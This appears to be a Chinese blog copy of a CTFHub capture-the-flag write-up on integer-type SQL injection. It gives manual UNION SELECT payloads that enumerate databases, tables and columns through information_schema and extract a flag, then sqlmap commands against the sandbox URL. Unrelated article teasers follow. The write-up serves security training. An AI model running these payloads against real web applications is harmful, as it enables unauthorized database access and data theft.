CTFHub技能树-SQL注入-整数型注入

news/2024/12/22 1:25:23/

一、手动注入

思路:注入点->库->表->列->数据

首先使用order by探测有几列

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=1 order by 2

我们发现order by 2 的时候有回显,到了order by 3 的时候就没有回显了,所以列数为2

然后使用联合注入

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select database(),user()

得到用户名与数据库名

拿到数据库列表

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

查当前数据库里的表名

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

获取列名

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

获取数据

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(flag) from flag

 

二、自动化工具

sqlmap下载GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

python sqlmap.py -u http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=1 --tables

 

查找表中数据

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag --columns

 获取表中数据

python sqlmap.py -u http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 -T flag --columns

拿到flag


http://www.ppmy.cn/news/1527038.html

相关文章

Spring Boot-日志相关问题

Spring Boot 日志相关问题探讨 在现代微服务和大型应用中,日志是非常重要的调试、监控和故障排查工具。Spring Boot 作为一种简化的框架,默认集成了强大的日志系统,并且提供了灵活的配置选项。然而,开发者在实际使用 Spring Boot…

海量数据查找最大K个值:数据结构与算法的选择

在处理大数据集时,经常需要找到数据集中最大的K个元素,这样的需求在很多领域都有广泛应用,例如推荐系统中寻找评分最高的K个商品、数据分析中找出最重要的K个特征、搜索引擎中找到排名前K的结果等等。面对海量数据,传统的排序方法…

Unity实战案例全解析 :PVZ 植物脚本分析

植物都继承了Pants脚本,但是我因为没注意听讲,把Pants也挂在植物上了,所以子类的PlantEnableUpdate和PlantDisableUpdate抢不过父类,无法正确触发动画,我还找不到哪里出了问题,所以就使用了携程加while强行…

Java后端程序员简单操作Linux系统命令

Linux系统概述 Linux 内核最初是由芬兰人林纳斯托瓦兹(Linus Torvalds)在赫尔辛基大学上 学时而编写的一个开源的操作系统。 Linux(管理计算机硬件资源,任务调度)支持多用户,支持网络,支持多线…

funny lidar slam

【开源】也许会是目前功能最多的激光SLAM(Lidar SLAM)_哔哩哔哩_bilibili GitHub - zm0612/funny_lidar_slam: A real-time multifunctional Lidar SLAM package.

el-input 只能输入数字和一个小数点,或者只能输入两位小数

<el-inputv-model"price":maxlength"20"clearableinput"getNumIpt"change"getChangeIpt"placeholder"请输入入池资产总额"></el-input> 对小数位数不限要求 methods: { getNumIpt(val) {// 非数字 一位小数点…

综合案例-数据可视化-柱状图

一、基础柱状图 我们绘制一个关于三种水果销售额的柱状图&#xff0c;X轴数据为三种水果的名称&#xff0c;用列表[苹果,香蕉,橘子]添加进去&#xff0c;Y轴数据为三种水果的销售额&#xff0c;用列表[50,70,60]添加进去。 步骤&#xff1a; 导包构建柱状图对象添加X轴数据生…

C++ Primer Plus(速记版)-容器和算法

第九章 顺序容器 容器是存储特定类型对象的集合&#xff0c;标准库提供了多种容器类型以支持不同的使用场景。其中&#xff0c;顺序容器&#xff08;如vector、list、deque&#xff09;根据元素添加到容器中的顺序来存储和访问元素&#xff0c;与元素值无关。 这些顺序容器各有…